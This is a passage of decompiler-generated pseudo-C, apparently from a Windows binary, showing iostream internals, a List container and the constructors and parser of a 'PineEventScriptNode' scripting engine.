= (*(_DWORD *)v27)++; *(_BYTE *)v28 = v24; v24 = (unsigned __int8)v24; } else { v24 = (*(int (__cdecl **)(_DWORD))(*(_DWORD *)v25 + 4))((unsigned __int8)v24); } if ( v24 == -1 ) { _State |= 4u; break; } --_Pad; } } LABEL_37: *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24] = 0; LABEL_39: v29 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v49 = 0; if ( _State ) { v30 = _State | *((_DWORD *)v29 + 2); if ( !*((_DWORD *)v29 + 10) ) v30 |= 4u; std::ios_base::clear((std::ios_base *)v29, v30, 0); } v49 = 3; if ( !std::uncaught_exception() ) { v31 = _Ok; v32 = *(_DWORD *)(*(_DWORD *)_Ok + 4) + _Ok; if ( *(_BYTE *)(v32 + 16) & 2 ) { v33 = 0; if ( !(*(_BYTE *)(v32 + 8) & 6) && (*(int (__thiscall **)(_DWORD))(**(_DWORD **)(v32 + 40) + 44))(*(_DWORD *)(v32 + 40)) == -1 ) v33 = 4; v34 = v31 + *(_DWORD *)(*(_DWORD *)v31 + 4); if ( v33 ) { v35 = v33 | *(_DWORD *)(v34 + 8); if ( !*(_DWORD *)(v34 + 40) ) v35 |= 4u; std::ios_base::clear((std::ios_base *)v34, v35, 0); } } } v36 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)_Ok + 4) + _Ok + 40); v49 = -1; if ( v36 ) std::_Mutex::_Unlock((std::_Mutex *)(v36 + 4)); return _Ostr; } // 4C1020: could not find valid save-restore pair for ebx // 4C1020: could not find valid save-restore pair for edi // 4C1020: could not find valid save-restore pair for esi // 61E9B0: using guessed type int _ehhandler$??$?6DU?$char_traits_D_std__V?$allocator_D_1__std__YAAAV?$basic_ostream_DU?$char_traits_D_std___0_AAV10_ABV?$basic_string_DU?$char_traits_D_std__V?$allocator_D_2__0__Z(); //----- (004C12D0) -------------------------------------------------------- std::basic_ostream > *__cdecl std::operator<<>(std::basic_ostream > *_Ostr, const char *_Val) { int v2; // eax@0 int v3; // ebx@0 int v4; // edi@0 int v5; // esi@0 int v6; // ebx@1 unsigned int v7; // edi@1 signed int v8; // eax@1 signed int v9; // edx@5 int v10; // eax@6 int v11; // edx@8 int v12; // eax@8 int v13; // ecx@8 int v14; // edx@8 int v15; // ecx@10 int v16; // edx@10 int v17; // ecx@21 int v18; // eax@21 int v19; // ecx@21 int v20; // edx@21 int v21; // ecx@23 int v22; // edx@23 int v23; // edx@26 char *v24; // ecx@29 int v25; // eax@30 int v27; // [sp-Ch] [bp-2Ch]@1 int v28; // [sp-8h] [bp-28h]@1 int v29; // [sp-4h] [bp-24h]@1 char _Ok; // [sp+0h] [bp-20h]@4 char v31; // [sp+4h] [bp-1Ch]@4 int _Pad; // [sp+8h] [bp-18h]@4 int _State; // [sp+Ch] [bp-14h]@1 int *v34; // [sp+10h] [bp-10h]@1 int v35; // [sp+14h] [bp-Ch]@1 int (*v36)(); // [sp+18h] [bp-8h]@1 int v37; // [sp+1Ch] [bp-4h]@1 v37 = -1; v36 = _ehhandler_____6U__char_traits_D_std___std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_PBD_Z; v35 = v2; v29 = v3; v28 = v5; v27 = v4; v6 = 0; v34 = &v27; _State = 0; v7 = strlen(_Val); v8 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24]; if ( v8 > 0 && v8 > (signed int)v7 ) v6 = v8 - v7; _Pad = v6; std::basic_ostream>::sentry::sentry( (std::basic_ostream >::sentry *)&_Ok, _Ostr); v37 = 0; if ( !v31 ) { v9 = 4; goto LABEL_29; } v10 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 16] & 0x1C0; LOBYTE(v37) = 1; if ( v10 == 64 ) { LABEL_16: if ( (*(int (__cdecl **)(const char *, unsigned int))(**(_DWORD **)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40] + 28))( _Val, v7) == v7 ) { while ( v6 > 0 ) { v17 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v18) = _Ostr->dummy[v17 + 48]; v19 = *(_DWORD *)&_Ostr->dummy[v17 + 40]; v20 = *(_DWORD *)(v19 + 36); if ( *(_DWORD *)v20 && *(_DWORD *)v20 < (unsigned int)(*(_DWORD *)v20 + **(_DWORD **)(v19 + 52)) ) { --**(_DWORD **)(v19 + 52); v21 = *(_DWORD *)(v19 + 36); v22 = (*(_DWORD *)v21)++; *(_BYTE *)v22 = v18; v18 = (unsigned __int8)v18; } else { v18 = (*(int (__cdecl **)(_DWORD))(*(_DWORD *)v19 + 4))((unsigned __int8)v18); } if ( v18 == -1 ) { v23 = *(_DWORD *)&_Ostr->dummy[0]; _State |= 4u; *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(v23 + 4) + 24] = 0; goto LABEL_28; } --v6; } } else { _State = 4; } goto LABEL_18; } while ( v6 > 0 ) { v11 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v12) = _Ostr->dummy[v11 + 48]; v13 = *(_DWORD *)&_Ostr->dummy[v11 + 40]; v14 = *(_DWORD *)(v13 + 36); if ( *(_DWORD *)v14 ) { if ( *(_DWORD *)v14 < (unsigned int)(*(_DWORD *)v14 + **(_DWORD **)(v13 + 52)) ) { --**(_DWORD **)(v13 + 52); v15 = *(_DWORD *)(v13 + 36); v16 = (*(_DWORD *)v15)++; v6 = _Pad; *(_BYTE *)v16 = v12; v12 = (unsigned __int8)v12; goto LABEL_13; } v6 = _Pad; } v12 = (*(int (__cdecl **)(_DWORD, int, int, int))(*(_DWORD *)v13 + 4))((unsigned __int8)v12, v27, v28, v29); LABEL_13: if ( v12 == -1 ) { _State |= 4u; break; } --v6; _Pad = v6; } if ( !_State ) goto LABEL_16; LABEL_18: *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24] = 0; LABEL_28: v9 = _State; LABEL_29: v24 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v37 = 0; if ( v9 ) { v25 = v9 | *((_DWORD *)v24 + 2); if ( !*((_DWORD *)v24 + 10) ) v25 |= 4u; std::ios_base::clear((std::ios_base *)v24, v25, 0); } v37 = -1; std::basic_ostream>::sentry::_sentry((std::basic_ostream >::sentry *)&_Ok); return _Ostr; } // 4C12D0: could not find valid save-restore pair for ebx // 4C12D0: could not find valid save-restore pair for edi // 4C12D0: could not find valid save-restore pair for esi // 61E9C8: using guessed type int _ehhandler$??$?6U?$char_traits_D_std___std__YAAAV?$basic_ostream_DU?$char_traits_D_std___0_AAV10_PBD_Z(); //----- (004C14E0) -------------------------------------------------------- std::num_put > > *__cdecl std::use_facet>>>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+8h] [bp-24h]@1 std::_Lockit this; // [sp+Ch] [bp-20h]@2 std::_Lockit _Lock; // [sp+10h] [bp-1Ch]@1 char pExceptionObject; // [sp+14h] [bp-18h]@9 int v9; // [sp+28h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>>>::_Psave; v9 = 0; _Psave = std::_Facetptr>>>::_Psave; if ( !std::num_put>>::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::num_put>>::id ) { ++std::locale::id::_Id_cnt; std::num_put>>::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::num_put>>::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::num_put>>::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>>>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::num_put > > *)v2; } // 12F8B4C4: using guessed type int std___Facetptr_std__num_put_char_std__ostreambuf_iterator_char_std__char_traits_char_______Psave; // 1535F460: using guessed type int std__locale__id___Id_cnt; //----- (004C15F0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004C1710) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004C1830) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this, PineEventScriptNode::Express **ppExpress, PineScriptStack::ProcessStack *ps) { this->m_ppExpress = ppExpress; this->vfptr = (PineEventScriptNode::ScriptParameterPaserVtbl *)&PineEventScriptNode::ScriptParameterPaser::_vftable_; this->m_pPS = ps; this->m_strErrorMsg._Myres = 15; this->m_strErrorMsg._Mysize = 0; this->m_strErrorMsg._Bx._Buf[0] = 0; this->m_tkn.pst_Buffer[0] = 0; } // 651228: using guessed type int (__thiscall *PineEventScriptNode__ScriptParameterPaser___vftable_)(void *p, char); //----- (004C1860) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this) { PineEventScriptNode::ScriptParameterPaser *v1; // esi@1 v1 = this; this->vfptr = (PineEventScriptNode::ScriptParameterPaserVtbl *)&PineEventScriptNode::ScriptParameterPaser::_vftable_; if ( this->m_strErrorMsg._Myres >= 0x10 ) operator delete(*(void **)&this->m_strErrorMsg._Bx._Buf[0]); v1->m_strErrorMsg._Myres = 15; v1->m_strErrorMsg._Mysize = 0; v1->m_strErrorMsg._Bx._Buf[0] = 0; } // 651228: using guessed type int (__thiscall *PineEventScriptNode__ScriptParameterPaser___vftable_)(void *p, char); //----- (004C1890) -------------------------------------------------------- std::basic_ostream > *__thiscall std::basic_ostream>::operator<<(std::basic_ostream > *this, int _Val) { int v2; // eax@0 int v3; // ebx@0 int v4; // edi@0 int v5; // esi@0 std::basic_ostream > *v6; // esi@1 std::locale *v7; // eax@2 std::num_put > > *v8; // eax@2 std::locale v9; // edi@2 std::num_put > > *v10; // ebx@2 unsigned int v11; // eax@3 int v12; // edi@6 std::locale::facetVtbl *v13; // edx@8 int v14; // ecx@10 int v15; // eax@11 int v17; // [sp-Ch] [bp-3Ch]@1 int v18; // [sp-8h] [bp-38h]@1 int v19; // [sp-4h] [bp-34h]@1 int v20; // [sp+0h] [bp-30h]@8 char _Ok; // [sp+8h] [bp-28h]@1 char v22; // [sp+Ch] [bp-24h]@1 std::_Lockit thisa; // [sp+10h] [bp-20h]@3 std::locale result; // [sp+14h] [bp-1Ch]@2 int _State; // [sp+18h] [bp-18h]@1 std::basic_ostream > *v26; // [sp+1Ch] [bp-14h]@1 int *v27; // [sp+20h] [bp-10h]@1 int v28; // [sp+24h] [bp-Ch]@1 int (*v29)(); // [sp+28h] [bp-8h]@1 int v30; // [sp+2Ch] [bp-4h]@1 v30 = -1; v29 = _ehhandler___6__basic_ostream_DU__char_traits_D_std___std__QAEAAV01_H_Z; v28 = v2; v19 = v3; v18 = v5; v17 = v4; v6 = this; v27 = &v17; v26 = this; _State = 0; std::basic_ostream>::sentry::sentry( (std::basic_ostream >::sentry *)&_Ok, this); v30 = 0; if ( v22 ) { v7 = std::ios_base::getloc((std::ios_base *)((char *)v6 + *(_DWORD *)(*(_DWORD *)&v6->dummy[0] + 4)), &result); LOBYTE(v30) = 1; v8 = std::use_facet>>>(v7); v9 = result; v10 = v8; LOBYTE(v30) = 0; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v11 = *(_DWORD *)(*(_DWORD *)&v9 + 4); if ( v11 && v11 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v9 + 4) = v11 - 1; v12 = ((*(_DWORD *)(*(_DWORD *)&v9 + 4) != 0) - 1) & *(_DWORD *)&v9; std::_Lockit::__Lockit(&thisa); if ( v12 ) (**(void (__thiscall ***)(_DWORD))v12)(v12); } LOBYTE(thisa._Locktype) = v6->dummy[*(_DWORD *)(*(_DWORD *)&v6->dummy[0] + 4) + 48]; v13 = v10->baseclass_0.vfptr; LOBYTE(v20) = 0; LOBYTE(v30) = 2; ((void (__thiscall *)(std::num_put > > *))v13[7].__vecDelDtor)(v10); if ( (_BYTE)v20 ) _State = 4; } v14 = (int)((char *)v6 + *(_DWORD *)(*(_DWORD *)&v6->dummy[0] + 4)); v30 = 0; if ( _State ) { v15 = _State | *(_DWORD *)(v14 + 8); if ( !*(_DWORD *)(v14 + 40) ) v15 |= 4u; std::ios_base::clear((std::ios_base *)v14, v15, 0); } v30 = -1; std::basic_ostream>::sentry::_sentry((std::basic_ostream >::sentry *)&_Ok); return v6; } // 4C1890: could not find valid save-restore pair for ebx // 4C1890: could not find valid save-restore pair for edi // 4C1890: could not find valid save-restore pair for esi // 4C1890: inconsistent function type and number of purged bytes // 61E9F0: using guessed type int _ehhandler$??6?$basic_ostream_DU?$char_traits_D_std___std__QAEAAV01_H_Z(); //----- (004C1A00) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 signed int v3; // eax@4 int v4; // edx@5 ListStruct *v5; // ecx@7 PineEventScriptNode::Statement *v6; // ebx@7 int v7; // ecx@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v3 = 0; if ( v2->l_MaxSize ) { v4 = 0; do { if ( v3 < v2->l_MaxSize ) { v5 = v2->l_Array; v6 = v5[v4].ls_Content; v7 = (int)&v5[v4]; if ( !v6 ) *(_DWORD *)v7 = &array->la_Array[v3]; } ++v3; ++v4; } while ( v3 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 650D98: using guessed type int (__stdcall *List_PineEventScriptNode__Statement____vftable_[3])(__int16 hnd); //----- (004C1A80) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 int v3; // edi@1 signed int v4; // ecx@4 int v5; // edx@5 ListStruct *v6; // eax@7 PineEventScriptNode::Block *v7; // ebp@7 int v8; // eax@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; v3 = 0; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v4 = 0; if ( v2->l_MaxSize > 0u ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 650DB4: using guessed type int (__stdcall *List_PineEventScriptNode__Block____vftable_[3])(__int16 hnd); //----- (004C1B00) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::Block(PineEventScriptNode::Block *this) { PineEventScriptNode::Block *v1; // esi@1 void *v2; // eax@1 void *v3; // edi@1 void *v4; // eax@2 int v5; // ebp@3 void *v6; // eax@6 List *v7; // eax@7 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Block::_vftable_; this->b_BlockName.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::BlockName::_vftable_; this->b_BlockName.bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Id::_vftable_; this->b_BlockName.bn_Name.i_Identify.pst_Buffer[0] = 0; v2 = operator new(8u); v3 = v2; if ( v2 ) { *((_DWORD *)v2 + 1) = 16; v4 = operator new__(0x84u); if ( v4 ) { v5 = (int)((char *)v4 + 4); *(_DWORD *)v4 = 16; _eh_vector_constructor_iterator_( (char *)v4 + 4, 8u, 16, (void (__thiscall *)(void *))PineEventScriptNode::Statement::Statement, (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); *(_DWORD *)v3 = v5; } else { *(_DWORD *)v3 = 0; } } else { v3 = 0; } v1->b_StatementArray = (ListArray *)v3; v6 = operator new(0x18u); if ( v6 ) List::List( (List *)v6, v1->b_StatementArray); else v7 = 0; v1->b_StatementList = v7; } // 650C74: using guessed type int (__stdcall *PineEventScriptNode__Id___vftable_)(int tr); // 650CC4: using guessed type int (__stdcall *PineEventScriptNode__BlockName___vftable_)(int tr); // 650FA0: using guessed type int (__stdcall *PineEventScriptNode__Block___vftable_)(int tr); //----- (004C1C00) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateInfinite::StateInfinite(PineEventScriptNode::StateInfinite *this) { this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateInfinite::_vftable_; PineEventScriptNode::Block::Block(&this->si_Block); } // 650FC8: using guessed type int (__stdcall *PineEventScriptNode__StateInfinite___vftable_)(int tr); //----- (004C1C50) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateWhile::StateWhile(PineEventScriptNode::StateWhile *this) { PineEventScriptNode::StateWhile *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateWhile::_vftable_; PineEventScriptNode::Condition::Condition(&this->sw_Condition); PineEventScriptNode::Block::Block(&v1->sw_Block); } // 650FDC: using guessed type int (__stdcall *PineEventScriptNode__StateWhile___vftable_)(int tr); //----- (004C1CB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::Block::sb_CloneMe(PineEventScriptNode::Block *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x118u); if ( v1 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v1); else result = 0; return result; } //----- (004C1D10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateInfinite::sb_CloneMe(PineEventScriptNode::StateInfinite *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x11Cu); if ( v1 ) PineEventScriptNode::StateInfinite::StateInfinite((PineEventScriptNode::StateInfinite *)v1); else result = 0; return result; } //----- (004C1D70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateWhile::sb_CloneMe(PineEventScriptNode::StateWhile *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x460u); if ( v1 ) PineEventScriptNode::StateWhile::StateWhile((PineEventScriptNode::StateWhile *)v1); else result = 0; return result; } //----- (004C1DD0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Load(PineEventScriptNode::StateIf *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateIf *v2; // ebx@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v7; // eax@10 PineEventScriptNode::ScriptAtom *v8; // eax@11 PineEventScriptNode::ScriptAtom v9; // edx@13 void *v10; // eax@18 PineEventScriptNode::ScriptAtom *v11; // eax@19 PineEventScriptNode::ScriptAtom *v12; // eax@22 void *v13; // ST00_4@23 void *v14; // eax@24 PineEventScriptNode::ScriptAtom *v15; // eax@25 PineEventScriptNode::ScriptAtom v16; // edx@27 unsigned __int16 result; // ax@29 char v18; // [sp+10h] [bp-114h]@1 PineScriptToken tkn; // [sp+14h] [bp-110h]@1 unsigned int v20; // [sp+114h] [bp-10h]@1 int v21; // [sp+120h] [bp-4h]@10 v20 = (unsigned int)&v18 ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_32; v3 = (int)"if"; v4 = &tkn; v5 = 3; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { LABEL_32: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); goto LABEL_29; } if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Condition *, _DWORD, PineScriptReader::TokenReader *))v2->si_Condition.baseclass_0.vfptr->sa_Load)( &v2->si_Condition, 0, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, "then") ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { v7 = operator new(0x118u); *(_DWORD *)&v18 = v7; v21 = 0; if ( v7 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v7); else v8 = 0; v2->si_True = v8; v9.vfptr = v8->vfptr; v21 = -1; if ( !(unsigned __int16)v9.vfptr->sa_Load(v8, tr) ) goto LABEL_29; } if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, "else") ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { v10 = operator new(0x350u); if ( v10 ) PineEventScriptNode::StateIf::StateIf((PineEventScriptNode::StateIf *)v10); else v11 = 0; v2->si_False = v11; if ( !v11->vfptr->sa_Load(v11, tr) ) { v12 = v2->si_False; if ( v12 ) { v13 = v2->si_False; v12->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v13); } v14 = operator new(0x118u); *(_DWORD *)&v18 = v14; v21 = 1; if ( v14 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v14); else v15 = 0; v2->si_False = v15; v16.vfptr = v15->vfptr; v21 = -1; v16.vfptr->sa_Load(v15, tr); } } } } LABEL_29: __security_check_cookie((unsigned int)&v18 ^ v20); return result; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (004C1FE0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementList::StatementList(PineEventScriptNode::StatementList *this) { PineEventScriptNode::StatementList *v1; // esi@1 void *v2; // eax@1 unsigned int v3; // edx@4 void *v4; // eax@7 PineEventScriptNode::StatementBase *v5; // eax@8 unsigned int v6; // edx@10 void *v7; // eax@13 PineEventScriptNode::StatementBase *v8; // eax@14 unsigned int v9; // edx@16 void *v10; // eax@19 PineEventScriptNode::StatementBase *v11; // eax@20 unsigned int v12; // edx@22 void *v13; // eax@25 PineEventScriptNode::StatementBase *v14; // eax@26 unsigned int v15; // edx@28 void *v16; // eax@31 void *v17; // edi@31 unsigned int v18; // ecx@34 void *v19; // eax@37 unsigned int v20; // edx@40 void *v21; // eax@43 void *v22; // edi@43 unsigned int v23; // ecx@46 void *v24; // eax@49 unsigned int v25; // edx@52 void *v26; // eax@55 void *v27; // edx@56 unsigned int v28; // ecx@58 void *v29; // eax@61 PineEventScriptNode::StatementBase *v30; // eax@62 unsigned int v31; // edx@64 void *v32; // eax@67 PineEventScriptNode::StatementBase *v33; // eax@68 unsigned int v34; // edx@70 void *v35; // eax@73 PineEventScriptNode::StatementBase *v36; // eax@74 unsigned int v37; // edx@76 void *v38; // eax@79 PineEventScriptNode::StatementBase *v39; // eax@80 unsigned int v40; // edx@82 void *v41; // eax@85 PineEventScriptNode::StatementBase *v42; // eax@86 unsigned int v43; // edx@88 void *v44; // eax@91 PineEventScriptNode::StatementBase *v45; // eax@92 unsigned int v46; // edx@94 void *v47; // eax@97 PineEventScriptNode::StatementBase *v48; // eax@98 unsigned int v49; // edx@100 void *v50; // eax@103 PineEventScriptNode::StatementBase *v51; // eax@104 unsigned int v52; // edx@106 void *v53; // eax@109 PineEventScriptNode::StatementBase *v54; // eax@110 unsigned int v55; // edx@112 void *v56; // eax@115 PineEventScriptNode::StatementBase *v57; // eax@116 unsigned int v58; // edx@118 void *v59; // eax@121 PineEventScriptNode::StatementBase *v60; // eax@122 unsigned int v61; // edx@124 void *v62; // eax@127 PineEventScriptNode::StatementBase *v63; // eax@128 unsigned int v64; // edx@130 void *v65; // eax@133 PineEventScriptNode::StatementBase *v66; // eax@134 unsigned int v67; // edx@136 void *v68; // eax@139 PineEventScriptNode::StatementBase *v69; // eax@140 unsigned int v70; // edx@142 void *v71; // eax@145 PineEventScriptNode::StatementBase *v72; // eax@146 unsigned int v73; // edx@148 void *v74; // eax@151 PineEventScriptNode::StatementBase *v75; // eax@152 unsigned int v76; // edx@154 void *v77; // eax@157 PineEventScriptNode::StatementBase *v78; // eax@158 unsigned int v79; // edx@160 void *v80; // eax@163 PineEventScriptNode::StatementBase *v81; // eax@164 unsigned int v82; // edx@166 void *v83; // eax@169 PineEventScriptNode::StatementBase *v84; // eax@170 unsigned int v85; // edx@172 void *v86; // eax@175 PineEventScriptNode::StatementBase *v87; // eax@176 unsigned int v88; // edx@178 void *v89; // eax@181 PineEventScriptNode::StatementBase *v90; // eax@182 unsigned int v91; // edx@184 void *v92; // eax@187 PineEventScriptNode::StatementBase *v93; // eax@188 unsigned int v94; // edx@190 void *v95; // eax@193 PineEventScriptNode::StatementBase *v96; // eax@194 unsigned int v97; // edx@196 void *v98; // eax@199 PineEventScriptNode::StatementBase *v99; // eax@200 unsigned int v100; // edx@202 void *v101; // eax@205 PineEventScriptNode::StatementBase *v102; // eax@206 unsigned int v103; // edx@208 void *v104; // eax@211 PineEventScriptNode::StatementBase *v105; // eax@212 unsigned int v106; // edx@214 void *v107; // eax@217 PineEventScriptNode::StatementBase *v108; // eax@218 unsigned int v109; // edx@220 void *v110; // eax@223 PineEventScriptNode::StatementBase *v111; // eax@224 unsigned int v112; // edx@226 void *v113; // eax@229 PineEventScriptNode::StatementBase *v114; // eax@230 unsigned int v115; // edx@232 void *v116; // eax@235 PineEventScriptNode::StatementBase *v117; // eax@236 unsigned int v118; // edx@238 void *v119; // eax@241 PineEventScriptNode::StatementBase *v120; // eax@242 unsigned int v121; // edx@244 void *v122; // eax@247 PineEventScriptNode::StatementBase *v123; // eax@248 unsigned int v124; // edx@250 void *v125; // eax@253 PineEventScriptNode::StatementBase *v126; // eax@254 unsigned int v127; // edx@256 void *v128; // eax@259 PineEventScriptNode::StatementBase *v129; // eax@260 unsigned int v130; // edx@262 void *v131; // eax@265 PineEventScriptNode::StatementBase *v132; // eax@266 unsigned int v133; // edx@268 void *v134; // eax@271 PineEventScriptNode::StatementBase *v135; // eax@272 unsigned int v136; // edx@274 void *v137; // eax@277 PineEventScriptNode::StatementBase *v138; // eax@278 unsigned int v139; // 